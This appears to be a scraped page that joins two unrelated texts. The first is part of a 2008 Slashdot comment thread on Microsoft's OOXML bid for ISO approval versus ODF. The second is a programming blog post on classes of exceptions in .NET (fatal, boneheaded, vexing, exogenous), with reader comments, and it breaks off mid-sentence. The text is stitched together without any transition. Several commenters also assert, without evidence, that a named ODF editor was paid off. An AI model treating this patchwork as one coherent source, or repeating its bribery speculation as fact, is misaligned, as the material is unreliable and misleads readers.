stalled or changes direction, or when a prominant politican flips on a seemingly heartfelt poisition overnight (happens more regularly that you think) we all nod our heads and know that he probably got a new Porsche. Why can't I shake the feeling that this guy has been bought off? Heck, Microsoft has shown it's willing to pay off Swedish votors for OOXML and a slew of other shady dealings I still want to see what happens if MS Bunkers. (Score:2) I can see MS Going... "You know, it doesn't really matter if you make us an ISO standard or not, we are entrenched in 90% of your infrastructure. Good luck replacing that infrastructure. It will be over out dead bodies ODF is supported by MS-Office, and you are about to find some very unfriendly code in the next service pack that breaks Linux Dual Boot loaders, Breaks existing ODF Plugins, and adds a DRM Key to all documents opened." Who loses if M$OOXML loses? (Score:5, Interesting) From the thread on Groklaw [groklaw.net] I reproduce here the response from grokker59 [groklaw.net] and below Ron Weir's [groklaw.net] response. Authored by: grokker59 on Tuesday, March 25 2008 @ 08:27 AM EDT Item 1: If DIS29500 is not approved, *national bodies* will loose a forum to work on DIS29500 - circular reasoning. If DIS29500 is not approved, NBs won't *NEED* a forum to work on DIS29500 ! Item 2: Microsoft-only vendors may lose contracts because Microsoft failed to get "their" format approved. Circular reasoning. By not standardizing on a proprietary, lock-in document format, those companies that only sell proprietary lock-in document software no longer have a guarantee of continuing sales to locked-in customers. They might need to support an additional product or two to continue getting contract awards. Item 3: If OOXML is disapproved, then ODF loses because it has no ISO-based formula definitions to insure compatibility between ODF and the complete lack of formula documentation in OOXML ? How is this a comparison and why do I care whether ODF shares formulas with OpenXML ? Microsoft's Office 2007 does not use OpenXML. Neither are Excel formulas documented in OOXML to the extent that translation can take place. What's important is that ODF interoperate to the greatest extent possible with Office 2007 and future versions - not that it interoperate with a format that Microsoft has already abandoned and/or never implemented. Item 4: OOXML/OpenXML does not define legacy features, nor does OOXML/OpenXML provide a mapping for legacy features. Furthermore, all legacy features were moved to 'deprecated' status in the BRM, so there is no requirement to support them in either OOXML or ODF. OpenOffice already supports MS legacy features better than MS products, so I fail to see the gain of supporting DIS29500 to provide something that ODF products (OpenOffice.org) already does better than MS products. Item 5: "ODF has no ISO-based definition of the current MS format for mapping purposes." Since MS products do not implement DIS29500, this is is a non-issue. MS has already stated they do not feel bound to support future DIS29500 versions in future products, so ODF MSOffice mappings are never going to be ISO-based. Nor should we expect MS to open their file format protocols in future versions. There is *certainly* no reason to expect that MS will "offer a seat at the table" to any public organization during the planning/implementation of their next version of MSOffice since they've already stated that they do not feel bound by DIS29500 or its successors in ISO. Another view from the ODF TC Authored by: rcweir on Tuesday, March 25 2008 @ 06:38 PM EDT As Co-Chair of the ODF TC, let me say that Mr. Durusau's views in no way represent the position of OASIS or the ODF TC. Of course, he is entitled to his personal views, and so am I. Patrick makes 5 assertions in his latest follow the money? (Score:2) In this case, how much did he get paid? (and in what currency, it's not always cash.) I mean, seriously, with every other company that would be paranoia, but MS has been caught with both hands in the cookie jar actually buying ISO votes. It is very, very likely that they are buying good press and "expert opinion" as well. With enough money, you can buy friendship. Not the real one, but good enough that few will notice the difference. MS Office file are wierd (Score:3, Informative) Even though I didn't RTFA (and it seems to be disappointing from the comments I've seen), I'm going to agree in one respect. A documented version of an MS word processor file format is a good thing. There are lots of reasons for this and I'm not going to belabour the point by listing them all. But it would be good for everyone if such a thing could be documented and standardized. But there's a problem and it's called the MS Word formatter. Doc files in and of themselves are not particularly difficult to understand (well, there are some strange bits, but nothing you can't wrap your head around eventually). However, how the Word formatter interprets these files on a case by case basis is extremely complicated and strange. This has nothing to do with "the evil empire" trying to screw people over. It has to do with a complicated, poorly written legacy application having survived 2 decades of rewrites. You could easily write a specification to explain the file structure of word documents, but such a thing is useless without explaining exactly how everything is formatted in every situation. And that's a dog's breakfast. So MS is between a rock and a hard place if they want to do the right thing. Either they abandon backwards compatibility with their formatter (i.e., old files will *not* be rendered exactly as they were previously) and write a good specification, or they keep their bizarre formatter and write a horrendously crappy spec. They obviously chose the latter, and I have a hard time criticizing them for that decision. Does that mean it should be an ISO standard? No. Ideally they should deprecate their old formatter and rewrite it to do something sane (arguably the same could be said for virtually every word processor on the planet). But they are going to have to keep the old formatter to support old documents. And we are stuck without the ability to format those documents exactly, mainly because you just can't describe in any meaningful way how to do it. Strangely, this would be good for their business because right now they have very limited penetration in the US legal community because their formatter can not format footnotes properly. Scrapping their old formatter in conjunction with a new file format would allow them to get this market. I have to admit that I don't quite understand their reluctance to do so. As an aside, I don't particularly believe ODF is "the answer" to a file format since it also lacks some crucial information about how the formatter should operate in certain situations. However, it has the advantage of being a *lot* smaller and relatively easy to understand, even if it isn't totally complete from my perspective. Another view from the OASIS ODF TC (Score:3, Insightful) Of course, he is entitled to express his personal views. And so am I. Let us begin. Patrick makes 5 assertions in his with sacramental oils. There is not transmutation. OOXML does not become a good standard because it is approved. A standard is approved because it is good. 2) Microsoft based third-party vendors may be excluded from contracts because Microsoft has no ISO approved format. *Microsoft could always add support for ODF to their product. Then they would be supporting an ISO standard. Similarly, I assume they are now seriously thinking of adding Blu-ray support to the XBox now that HD DVD failed. We should not be propping up Microsoft and giving them a free ticket to ISO because of their bad business decision in ignoring ODF and delaying their own standardization activities. The market rewards those who guess right, and punishes those that guess wrong. Microsoft was on the wrong side of open standards. We should not be looking to avoid the natural outcome of that. 3) ODF has no ISO-based formula definitions to insure compatibility between OpenDocument and OpenXML. *And OOXML has no ISO-based formula definitions either, because OOXML has not been approved by ISO! 4) ODF has no ISO-based definition of MS legacy features for an ODF extension. *And OOXML has no ISO-based definition of MS legacy features either, because OOXML has not been approved by ISO! 5) ODF has no ISO-based definition of the current MS format for mapping purposes *And OOXML has no ISO-based definition of the current MS format either, because OOXML has not been approved by ISO! These last three points by Patrick are rather poor. The fact that portions of the Ecma-376 specification are interesting as technical disclosures of proprietary Microsoft Office interfaces does not automatically recommend the entire 6,045 page specification for approval as an ISO standard. If the ODF TC desires any information on these three topics, we already have access to all of this material via the Ecma-376 text and the Ecma's Disposition of Comments report, both of which will exist regardless of whether DIS 29500 is approved. There is absolutely nothing we cannot do now, given the materials we have now. Whether things like the spreadsheet definitions in OOXML are "ISO-approved" or not is immaterial. We know the ISO review was shallow. We cannot assume that Excel compatibility information in OOXML is correct. We need to test and verify everything. Slapping an "ISO" label on OOXML doesn't make it more useful or more accurate for ODF. In no way whatsoever is ODF hurt, harmed or even annoyed by the imminent demise of Microsoft's ill-conceived and reckless experiment in ISO. Patrick Who? (Score:3, Insightful) What kind of ODF editor is that then? (Score:5, Funny) Re: (Score:2) He didn't learn the lesson from... HIS... MASTERS ahaha mind control Re: (Score:2) Re:ODF editor on OOXML (Score:5, Insightful) Yeah, that's what we call "not documenting the format." Oh, and yeah, great, they documented the format. But it is NOT something that should be accepted as a standard. BF is a documented programming language, but if you had to pick a standard language, would you pick BF, if there was, oh, any other alternative? What is so difficult about the two words "open" and "standard"? A proprietary trade secret is antithetical to that. Relying on proprietary trade secrets in a proposed "open standard" makes it neither. Which in no way mandates that these legacy attributes also be completely opaque to every implementation except one. Oh, by the way, we have a way to store odd formatting, and maintain backwards translateability -- styles. Extend the style system to where it can support weird shit like adjusting the "justify" algorithm, and store a SpacingLikeWordPerfectForDos (or whatever) style, in the document, with some special flag to indicate how it translates back into legacy formats (like Word 95 binary .doc). Except that, as you say, the cryptic legacy stuff is a trade secret. Which is why we really don't want it ratified as any kind of open standard, as it is, quite simply, not open. I'm sorry, but you can't have it both ways. Either you've got trade secrets based on your file format, or you have an open standard. Not both. Re:ODF editor on OOXML (Score:4, Funny) Sure you can. It just costs extra to get it approved. OOXML, the standard the best money can buy. - Re: (Score:2) This isn't about personal use it's about a standard that everyone uses internationally to share documents. You have no choice in the matter as people will send you these documents. Government will be forced to use an ISO standard as well as any companies that do business with a government. A standard is open and implementable by everyone. This is impossible with Microsoft's current solution and we already Re: (Score:3, Informative) Because a format designed to be blitted in the days of Windows 3.1 is a great candidate for interoperability and durability! Can I have some of what you're smoking? How well does that hold up, legally? Especially the Re: (Score:3, Informative) see comment 3 [robweir.com]. So this argument is rubbish. I suspect they will not ever supply a proper mapping, otherwise it would just be used by ODF, and make OOXML even more redundant than it already is. Re: (Score:2, Funny) 1) This guy works for a company that sold its soul to Microsoft in exchange for a useless patent agreement 2) This guy got a large quantity of money from Microsoft in the recent past 3) This guy got a large quantity of crack from Microsoft in the recent past and consumed it 4) Going by the date in the letter (March 24) they released the letter 8 days early Remember, friends don't let friends post without using preview
https://tech.slashdot.org/story/08/03/25/2150226/odf-editor-says-odf-loses-if-ooxml-does?sdsrc=prev
CC-MAIN-2017-34
refinedweb
6,500
62.17
Compute the Count of K Length Subarrays Containing Only 1s in Binary String Introduction Data Structures play a vital role in our problem-solving skills. Consistency with an efficient learning approach can raise your bar in the programming world. This problem is about counting k length subarrays with only 1’s in the binary(0,1) string. What do you mean by subarray? It is a contiguous part of array. For example the array [1, 2, 3, 4].The subarrays are (1), (2), (3), (4), (1,2), (2,3), (3,4), (1,2,3), (2,3,4) and (1,2,3,4). For questions related to each data structure, refer to the blog Must-Do Coding Interview Questions for Product Based Companies. Let’s move to our problem statement for better clarity of the problem. Problem Statement We are given a binary string, and we aim to find the count of subarrays of length K that contains only 1. Let’s understand this with some examples: Example1: Input: s= “1111110” K= 3 Output: 4 Example2: Input: s= “100001” K= 1 Output: 2 Approach First, we will count the size of consecutive ones; after that, we will compute the count of k length subarrays from it. Steps - Add dummy character at last to handle the edge case where the string ends with ‘1’. - Iterate the binary string from the start. - Increment the count is ‘1’ is found during iteration. - As soon as we see ‘0’, store the current count and initialize the count to 0 again. - Add the count of k length subarray in this group size using relation group size – k + 1. - Print the final count. Implementation import java.util.*; class Solution{ // To count the k length subarrays static int count(String s, int k) { // If string ends with '1' s += '0'; int n = s.length(); int c = 0, ret = 0; for (int i = 0; i < n; i++) { if (s.charAt(i) == '1') c++; else { if (c >= k) { ret += (c - k + 1); } c = 0; } } return ret; } // Main Function public static void main(String[] args) { String str = "1111110"; int K = 3; System.out.print(count(str, K) +"\n"); } } Output 4 Complexities Time Complexity: The time complexity for this approach is O(n), where n is the length of the binary string. Space Complexity: O(1) is the space complexity. FAQs - What is the time complexity to solve this problem? The time taken by the normal mathematical implementation is O(n), where n is the length of the binary string. - What do you mean by subarray? An array can be divided into subarrays, which are the contiguous part of it. Key Takeaways In this blog, we have covered the following: - What the problem is, along with the example. - Approach to ponder upon. - Implementation in the Java language. Before stepping into this problem, you can try problems similar to this concept like Arithmetic Subarrays, Subarray Sums I, and many more. CodeStudio is a one-stop destination for various DSA questions typically asked in interviews to practice more such problems. Happy Coding!!!
https://www.codingninjas.com/codestudio/library/compute-the-count-of-k-length-subarrays-containing-only-1s-in-binary-string
CC-MAIN-2022-27
refinedweb
508
64.81
and, how to distinguish ducati_m3.bin isn't use gptimer 11? if i found a rom that is kernel3.x and ics and omap4430, it should be not use gptimer 11? static struct omap_rproc_timers_info ipu_timers[] = { { .id = 3 }, { .id = 4 }, #ifdef CONFIG_REMOTEPROC_WATCHDOG { .id = 9 }, { .id = 11 }, #endif }; I can't remember if this has been mentioned yet, but was talking to hashcode yesterday and he mentioned the Samsung Galaxy Tab 7", which just came out, is omap4430 and runs ICS. Source is not out from samsung yet, but it's another omap device running 3.x that may be something to look at...
http://forum.xda-developers.com/showthread.php?p=25561377
CC-MAIN-2015-06
refinedweb
102
77.53
This patch does the following: I have tried my best to replicate how clang does things. Many thanks for implementing this! I've only skimmed through so far, but mostly makes sense. Will take a closer look later. Could you update the summary by adding more detail? What options are enabled and whether the semantics from Clang are preserved or not (they should unless there is a good reason not to)? It would help if you could list all of them. More comments inline. As per comments in Options.td, this is a "Code-gen Option" rather than a "Language Option". Could you move it back somewhere near the original comment? I would also suggest using let (there's going to be more options like this): let Flags = [CC1Option, CC1AsOption, FC1Option, NoDriverOption] { def mrelocation_model : Separate<["-"], "mrelocation-model">, HelpText<"The relocation model to use">, Values<"static,pic,ropi,rwpi,ropi-rwpi,dynamic-no-pic">, NormalizedValuesScope<"llvm::Reloc">, NormalizedValues<["Static", "PIC_", "ROPI", "RWPI", "ROPI_RWPI", "DynamicNoPIC"]>, MarshallingInfoEnum<CodeGenOpts<"RelocationModel">, "PIC_">; } // let Flags = [CC1Option, CC1AsOption, FC1Option, NoDriverOption] These are code-gen options to me. While originally located under "Language Options", I think that it would make more sense to move them near "CodeGen Options" instead (e.g. near mrelocation_model). @MaskRay any thoughts? I would skip "Similar to clang" - this applies most of things here. This comment is no longer valid Why would you replace -### with -v? Same for other RUN lines. I needed the command to run because I added check lines for the emitted LLVM IR, for example: ! CHECK-PIE-LEVEL1: !"PIC Level", i32 1} ! CHECK-PIE-LEVEL1: !"PIE Level", i32 1} Left a few more comments and also added Diana as a reviewer. Would be good to get an extra pair of eyes on this :) Turns out that in Clang these options are indeed LangOptions. That's a bit confusing to me, but oh well. Also, I'd move this whole block to a dedicated method. To me these are CodeGen options. Could you move this to? Only -fpic and -fpie are tested/supported right? Please, could you trim this accordingly? Or, alternatively, expand the test. Ah, of course! Thanks, I missed that earlier. clang/lib/Frontend/InitPreprocessor.cpp defines __PIC__.. IIUC the file does not know CodeGenOptions, so LangOptions isn't a bad choice. Prefer == to equals Use getLastArg when you need to do both hasArg and getLastArgValue. expand auto wrong indentation? Using llvm::StringSwitch now Added more tests. Changed the data type and logic. I'd use ! CHECK-ROPI-NOT: "-pic otherwise there is a risk that the pattern matches a temporary file named *-pic*. Thanks for all the updates and for working on this! I'm not an expert in the semantics of -fpie/-fpic/-mrelocation-model, but this basically replicates the logic in Clang and I am not aware of any good reasons for Flang to diverge from that. This looks good to me. I've left a few minor comments inline and would appreciate if you could address them before landing this. Thanks again for taking this on! I think that we all agree that these options should remain somewhere withing the "Language Options" block, i.e. below: //===----------------------------------------------------------------------===// // Language Options //===----------------------------------------------------------------------===// As previously, you can use a let statement there: let Flags = [CC1Option, FC1Option, NoDriverOption] in { def pic_level : Separate<["-"], "pic-level">, HelpText<"Value for __PIC__">, MarshallingInfoInt<LangOpts<"PICLevel">>; def pic_is_pie : Flag<["-"], "pic-is-pie">, HelpText<"File is for a position independent executable">, MarshallingInfoFlag<LangOpts<"PIE">>; } // let Flags = [CC1Option, FC1Option, NoDriverOption] Sorry, missed that. Fixed now.
https://reviews.llvm.org/D131533
CC-MAIN-2022-40
refinedweb
587
67.65
Placeholder for table name when inserting data? (1) By anonymous on 2020-09-13 16:02:26 [link] [source] I couldn't find example, how to use placeholder for table name when inserting data. Can someone help me fix SyntaxError in my simplified example bellow? Why do I need table name placeholder? Say I have 100 tables like so: first_table, second_table... My (Python) script loop over 100 times, manipulate & extract data, that needs to be written into these tables. At first loop it writes into first table, at second loop it writes into second table... and so on. First row is UNIQUE (that's why I have "INSERT OR IGNORE" in insert statement) For now I'm looping and inserting into CSV files but I would like to save data into SQLite3 database file. I was told, there is no table name placeholder in SQLite3, but that I could use python's f-string. I can't get code to work. Bellow is simple code I would like to get it to work, if anyone has any suggestion: import sqlite3 conn = sqlite3.connect('./test.db') c = conn.cursor() c.execute('''CREATE TABLE IF NOT EXISTS first_table (value1 INTEGER, value2 INTEGER, value3 INTEGER)''') table_name = 'first_table' numbers = [111, 222, 333] c.execute(f"INSERT OR IGNORE {table_name} INTO VALUES (?,?,?)", numbers) conn.commit() (2) By Warren Young (wyoung) on 2020-09-13 16:10:28 in reply to 1 [source] You can't do that in SQLite on purpose. Preparing a SQL statement requires that SQLite be able to build a query plan, and it can't do that if it doesn't know what tables and columns to operate over. If you need SQL queries to vary beyond that, you build the query string in your calling code and prepare each version in turn. (3) By anonymous on 2020-09-13 16:30:45 in reply to 2 [link] [source] (I created account in the mean time) :-) OK I understand the reason. Question is, what are my options? One would be, that my script don't loop over and I use the same (data manipulation code) 100 times which goes against the coding practice: don't repeat yourself. Plus code would become verrrry long ;) Is there any other solution, that I can implement in my Python code? I don't understand: "you build the query string in your calling code and prepare each version in turn" - I'm beginner in Python and I have never run SQLite commands alone. Only withing Python script, since storing data is just part of the bigger Python project. Do you have any idea, how I could modify my sample code in my original post, to get this looping functionality working? I would really like to stop using *.CSV files and start using SQLite database if possible. (4.1) By Warren Young (wyoung) on 2020-09-13 16:44:08 edited from 4.0 in reply to 3 [link] [source] you build the query string in your calling code and prepare each version in turn" - I'm beginner in Python and I have never run SQLite commands alone The rest isn't a SQLite question at all, but a Python question. There are certainly better places to get such answers. However, briefly: for...table_name... qstr = "INSERT OR IGNORE INTO {0} VALUES (?,?,?)".format(table_name) c.execute(qstr, arg1, arg2, arg3) EDIT: I believe I fixed a syntax error in your SQL with respect to the placement of INTO. (5) By anonymous on 2020-09-13 16:52:24 in reply to 4.1 [link] [source] Ah, thank you very much! I knew there has to be some solution for my problem :) Will give it a try, you made my day, thanks again! (6) By anonymous on 2020-09-13 17:03:37 in reply to 4.1 [link] [source] Yes, it is working! Thank you so much!!! I'm now going to convert all my code where data is being stored into CSV files, to now be stored into SQLite database file! I'm so happy!!! You guys here rock! (7) By TripeHound on 2020-09-13 21:08:26 in reply to 6 [link] [source]. (8) By anonymous on 2020-09-13 21:24:51 in reply to 7 [link] [source] Hi, anonymous, So you have bunch of XLSX files that you want to put into the N tables of the SQLite DB, right? That's not the efficient way to do that. What are those XLSX files hold? It would be nice to know that so we can advise you on the best DB schema to create and make you queries work efficiently. One such idea is done by TripeHound. But he gave just an example. Thank you. (10) By anonymous on 2020-09-14 10:10:11 in reply to 8 [link] [source] My bad, I should have being more specific. Yes, TripeHound is making a good point. Something, I will think about it in my future projects. In this case, I'm probably OK. Data is simple financial stock market data with UNIQUE date, then columns: open, high, low, close and volume. That's where I have most tables. Before I was writing data into simple txt files (CSV) and I had one file for each stock. Now I have stocks.db and each table is one stock ticker. I like this so much better :) In this case, I'm probably OK with my schema? Also, these are all learning, hobby projects. P.s. Interestingly, I created account, I'm logged in but I still come out as anonymous ;) (11) By Gunter Hick (gunter_hick) on 2020-09-14 11:25:48 in reply to 10 [link] [source] You should NOT be storing the name of a stock as the table name. This is THE prime example of how NOT to do things. Instead of CREATE TABLE stock_xyz(date unique, ...); do something like CREATE TABLE stocks (stockID INTEGER PRIMARY KEY, short TEXT, long TEXT); CREATE TABLE ticker (stockID INTEGER REFERENCES stocks(stockID), date, ..., unique(stockID,date)); Then you will always be inserting into ticker using the stockID read from table stocks. To simplify selecting, you can create a view CREATE VIEW stock_ticker AS SELECT s.short,s.long,t.date [,...] FROM stocks s JOIN ticker t ON s.stock_ID=t.stockID; So that you can refer to stocks via short or long name. (12) By anonymous on 2020-09-14 11:31:38 in reply to 10 [link] [source] Data is simple financial stock market data with UNIQUE date, then columns: open, high, low, close and volume. each table is one stock ticker In this case, I'm probably OK with my schema? I don't think so, and having to parametrise the table name is usually a red flag meaning that someone is not using SQL the way it was intended to be used. In this case each stock ticker is like a book type in TripeHound's example, so they might better be merged in one table. You won't have to parametrise table names if you make the ticker part of the table definition and make the constraint UNIQUE(date, ticker). Making reports per each ticker would also become an SQL problem instead of "how to iterate over multiple similarly-defined tables in $programming_language" problem; instead you'd just add a GROUP BY ticker to an aggregating query. (13) By Adrian Ho (lexfiend) on 2020-09-14 12:57:42 in reply to 10 [link] [source] Besides Gunter and anonymous' suggestions, you could also consider storing each counter's data in a separate SQLite file. On server-based DBMSs, this is roughly equivalent to "sharding on counter", and the same general considerations apply (e.g. you'd only ever process one counter's data at a time, and JOINS across counters are rare-to-nonexistent). (9) By anonymous on 2020-09-14 09:59:43 in reply to 7 [link] [source] Hi TripeHound, you are making good point about the books, will keep this in mind, thank you. My data are financial stock prices. So database is say stocks.db and then I have one table for each stock price. Schema is the same for each table, date is UNIQUE, the rest are 5 columns of numbers, open, hi, low, close and volume. This would be example with lots of tables, it probably can't be structured any other way? Or, another example are some economic numbers I'm scraping on a weekly basis. Again, first column, date is UNIQUE, this prevents double entries. Then I have some 10+ columns of numbers. Here tables have a different schema, since number of columns vary from table to table. (14) By Simon Slavin (slavin) on 2020-09-14 13:56:43 in reply to 9 [link] [source] Here's what tells us you're probably doing something wrong: you have multiple tables with the same structure. To people who are experienced with SQL, this is a very obvious sign. Not only does it mean that your programming will be inefficient, but it means that your software will take longer to run, that your database will take more space in storage. Examples of why doing it this way is bad SQLite is extremely well optimized for searching through an index. It does it very quickly, with a minimum of memory used. However, the design of SQL assumes you will have a limited number of tables. Because of this SQLite is not well optimized for searching through a long list of tables. Every operation which includes a table name requires this search. It takes far longer to search through a thousand table names than it does to search through a thousand values in an index. SQLite's database file is based around pages. Each page is assigned to a table or an index. If a table or an index doesn't take up an entire page, then the unused part of the page is wasted. Suppose your database holds data for a thousand stocks. Then you will have a thousand pages partially unused. This takes up valuable storage space, makes backups take longer, etc.. (The above section is slightly distorted and dramatically simplified for clarity.) Suggested new structure If you have two or more tables with the same columns and the same indexes, those tables should be merged into one table. You add an extra column to hold what was previously the table name. This may require changing your primary key. It looks like for your existing primary key was a date field. It looks like you had a separate table for each stock. So your new primary key should be (stock, date). SQLite will ensure that each combination of those two is unique. How to proceed Don't import your existing CSV files into many separate tables. Or if you've already done so, drop those tables. Instead import your existing CSV files into one big table, setting the extra column for the stock code as you do so.
https://sqlite.org/forum/info/599fb32f49c1817f
CC-MAIN-2022-27
refinedweb
1,844
73.07
Writing. If you would like to receive an email when updates are made to this post, please register here RSS About that TryParse thing, something that's bothered me is that while there's Int32.TryParse (etc), there's no Enum.TryParse. Is there any reason for that? Enum.Parse is something I do on occasion, and it's, ehem, vexing that I have to do it in a try/catch... The problem with the exogenous exceptions is that it's very hard to figure out the full list of ones you need to catch. For example, try coming up with the full list of exceptions that could possibly be thrown when you open a file. In addition to all the usual "file not found, directory not found, access denied, etc" messages you have to handle weirder cases, like the file being on a UNC share, the file being on an overlong junction, the file being pulled from a shadow copy, the file being served from a local directory that is actually a redirected folder, the file existing on a removable drive, the file living on a fake drive that is really a redirect to a URL, etc. Coming up with that full list of exceptions is really hard. But if you miss one, your app crashes. So, of course, you catch (Exception) and handle it with a generic "that didn't work" message. But now you're committing the "sin" of "catch (Exception)". The "do not catch fatal exceptions" need to be clarified a bit. I agree that you probably cannot do anything to recover from the error, but you can at least do some logging stuff. I guess you consider in this article that "catching an exception" and "Logging some stuff in a catch block" are two differents concepts. Interesting classification. From a Java perspective, I'd say: Fatal exceptions are Errors (i.e. unchecked, and typically not caught) Boneheaded exceptions are typically RuntimeExceptions (i.e. unchecked) Exogenous exceptions are the reason for checked exceptions Vexing exceptions are the reason people complain about checked exceptions The relative frequencies of Exogenous vs Vexing exceptions in the language's libraries could determine whether checked exceptions are a good idea for that language or not. This is an excellent top-level taxonomy for exceptions. My biggest general complaint about the .NET framework is that the framework's exception hierarchy is completely useless. The hierarchy really should have been broken into something like what you describe (though Vexing and Exogenous can't truly be split via the type system). Instead of ApplicationException and SystemException, we should have had something like System.FatalException or System.DangerousException (parent class of StackOverflow, ExecutionEngine, AccessViolation, etc., the ones that should basically never be caught), System.BoneheadException or System.CodeErrorException (parent class of Argument, NullReference, or IndexOutOfBounds, etc., the ones that should immediately trigger a bug report), and System.RuntimeException (parent class of most other exceptions, the ones that might indicate a runtime failure but might also indicate a bug or a design flaw). XmlSerialization => FormatExceptions left right and center. Defininitely in the Vexing section if you're trying to debug a specific formatting problem in it since lots of perfectly valid stuff is dealt with by catching the FormatExceptions. @C While it doesn't catch all of them, you can catch IOException to get a lot of them. I've always thought that while having the explicitness of Java's checked and unchecked exceptions (having to explicitly say what it throws) is bad, it would have been nice to have a distinction between fatal and non-fatal exceptions (a different base class). That way you can catch non-fatal exceptions for things like logging while letting fatal exceptions through. Sorry Doug I disagree. they type hierachy is a very blunt tool which shouldn't be used for this purpose. If you are catching an exception you either want ***really*** specific. So your response can be well defined (FileNotFound, Autorization, specific IO exceptions mainly[1]). If you're catching anything else it is solely note the occurrence (optionally increasing the amount of information available) and rethrow or handle a domain transition (between app domains or to create your own specific exit code for a process) as such Catching Exception is fine Anything else is almost certainly a BadIdea [1] something the could definitely be improved, If I open a stream I'd like to know the difference between a file being locked verses a file being read only verses not being there etc... 'Writing good error handling code is hard in any language' Absolutely! thats why I think more effort should have been put into the exception strategy for .Net. Yes the idea of 'checked exceptions' in java seems a good idea in theory but in practice it can get out of hand and I can understand why this wasn't implemented in .Net. I can also see there were ideas that all user (dev = me) exceptions should have been derived from system.application and therefore easy to handle but that idea broke down very quickly. I don't understand why the exceptions aren't grouped :) 2 Dean Harding You can use Enum.IsDefined for checking and then safely call Parse. Eric wrote this: "Just let your "finally" blocks run and hope for the best." Keep in mind that there are times when a finally block will *not* run, and they're almost always during Fatal exceptions. What can we do about it? Don't put "hast to be run" code in your finally block -- only use finally for resource de-allocation. In the try/catch case, the catch covers all the processing that occurs within the using block. To avoid this you have to manually code a try/catch Dispose, as using cannot be attached to an already assigned variable. Both of these options smell bad. Is there a trick that can get you the best of both - limited scope on the FileNotFoundException, and the syntactic support of the using block? > as using cannot be attached to an already assigned variable Why do you say that? Perhaps I'm mistaken? I just tested this in VS2008 and VS2005 and it works, so my memory is foggy. More likely I hit the 'Use of unassigned variable' error case if you don't have the throw or return in the sequence below. The sequence of Declare mydisposable / try { assign mydisposable } catch { throw or return } / using (mydisposable) { } is a little clunky, but not half as bad as without being able to use using that way. Thanks! Is there another category of exceptions, which perhaps I would term "internal exceptions"? (Perhaps this is really just a subcategory of exogenous exceptions?) What I mean by "internal exceptions" is exceptions you throw and catch internally to a single component because doing so makes your program structurally more readable and maintainable, but that you do not (necessarily) intend to let fly out of your component to an external consumer. For example, suppose you have a component which parses some sort of fairly complex data file. Structurally, let's say it's convenient to write your parser in a recursive fashion, burrowing top-down through the file as it encounters elements to parse. However, errors of various kinds could be detected at any one of many levels of this parsing process, including all the way down at a leaf node. Let's say it's okay to stop trying to parse the rest of the file when you encounter the first error. How do you report these errors back up to the caller? You could use the traditional error code reporting method, bubbling back up a return code at each level of parsing, but that adds a lot of boilerplate error passing code to every level. It's also not terribly easy to elegantly attach additional information to the error. So instead, I think a perfectly reasonable pattern is to throw exceptions where errors occur, and then catch them all at the top-level method of the parser. You can then decide how to report this to the caller (maybe letting them handle the exception instead is okay, or maybe you want to use another method). It's an exogenous exception in that the root cause is something not under your control (the input file, which came from elsewhere), but you threw the exception yourself because it was a convenient way to structure your code. "...but you threw the exception yourself because it was a convenient way to structure your code." Expection handling! It's pretty rare that I do straight-up trackbacks into other people's blogs, but the latest post by Eric Lippert really deserves it. He discusses the four different classes of exceptions very eloquently. While he's talking about .NET, the same truths.. You've been kicked (a good thing) - Trackback from DotNetKicks.com I attended a session by Jason Clark, who claimed to have worked on defining the exception strategy for the BCL (in v1.0?). He said the rule was: * The method name MUST be (contain?) a verb describing the effect of the function. * If that effect does not completely occur, the method MUST throw an exception. Thus double.Parse(string) throws an exception if it does not parse the string. Also: * If there are common causes of failure, ways SHOULD be provided to check if it will fail before calling the function (as far as possible). E.g. : Enum.IsDefined, File.Exists This isn't always provided, and can't always be bullet-proof (e.g. File.Exists, as described earlier) but helps avoid many common exceptions. IF there is a very common failure scenario where using exception handling causes a (measurable) performance degradation, then there's another set of rules: * Add another function that handles that error condition and JUST that error condition by returning e.g. false. * The new function MUST have a name that reflects the fact that it might not succeed. Thus: bool double.TryParse(string) which will, of course, throw exceptions if it hits any failure other than a badly formatted string (e.g. OutOfMemoryException). He also said that the reason that CLR exceptions are slow is that they are built on top of Win32 SEH. The CLR team apparently told him there was no reason they HAD to be built on top of SEH, it was just easier. They apparently said that if the speed of exceptions ever got into (e.g) the top 10 performance issues seen in real applications, they would probably re-implement them to be faster. The implication, of course, is that they're along way outside the top 10 right now! :-) hmm, interesting idea - how would we implement this? public class LippertException: Exception, ISerializable; public class FatalLippertException: LippertException; public class BoneheadedLippertException: LippertException; public class VexingLippertException: LippertException; /* or fom bonehead? */ public class ExogenousLippertException: VexingLippertException; maybe? ;-) So this article sparked a bit of a controversy where I work. We all agree with your logic of Vexing Exceptions but we do have one area that none of us can agree on. When a user enters in the username and password does the login Manager throw and exception or does it offer a TryLogin? Some of us believe it should be an Exception because you expect the user to be logged in and it is exceptional if the users credentials are incorrect. While the rest of us think that you should always expect that the users input could be wrong making it not exceptional if they put in the wrong credentials. So really the argument comes down to which persons point of view for an exceptional case is programmed for. Is it the user or is it the developer? Users expect to be logged in thus the Exception handling on login, however, the Developer expects the user to be incorrect thus no exception. I don't see what's vexing with double.Parse other than that exception handling is so slow. Part of the value of exceptions is that you can't accidentally forget to check the return code and muddle on thinking that - in this case - the string was correctly parsed. So *is* this just about performance, or are there deeper reasons to dislike exceptions? What exactly is "vexing" about a method throwing an exception when it is unable to do what you asked of it? Many people seem to agree that "exceptions should only be thrown in exceptional circumstances", but everyone seems to understand something slightly different by "exceptional circumstances". @Michael Interesting question: to add my $.02, I don't think the user's should care how this is implemented. All they need to know is that their credentials were incorrect, not how the login code treated the failure. Moreover, it's not necessarily exceptional to have the wrong credentials, particularly if you've changed your password recently, like I have ;) I wouldn't say that the developer "expects" the user to be wrong, either. I think the developer doesn't know what to expect. Either case is as likely, so I would probably indicate the failure by a return value. I don’t like the concept of exogenous exceptions too much. There is nothing magical in exceptions in this situation – the OpenFile method (note that you did not use a constructor!) might as well return null (etc.) in case of an error instead of throwing an exception. The fact that you need to have atomic check/open has nothing to do with exceptions. So you could have categorized this as a vexing exception, too. The difference is just a bit of taste and syntactic sugar. These are taught at university Java courses, in the format Inigo pointed out. Good thoughts. I liked your definition of exceptions and your categories. Your pointing out the race condition was superb. One thing I disagree with is not trying to catch them. I try to catch everything so I may log the errors. Otherwise, the error may thrown and the program die, but the admin won't know what caused it. Could bad logic have allowed the program to terminate willingly, even though it wasn't ready to end or did someone send a kill signal to it? And even though they can be a pain, .NET stack traces have the ability to provide some critcal information, so if you do nothing more than catch and log a general exception, you have set your self up to proactively understand what caused your program to cease. Secondly, you stated to not catch 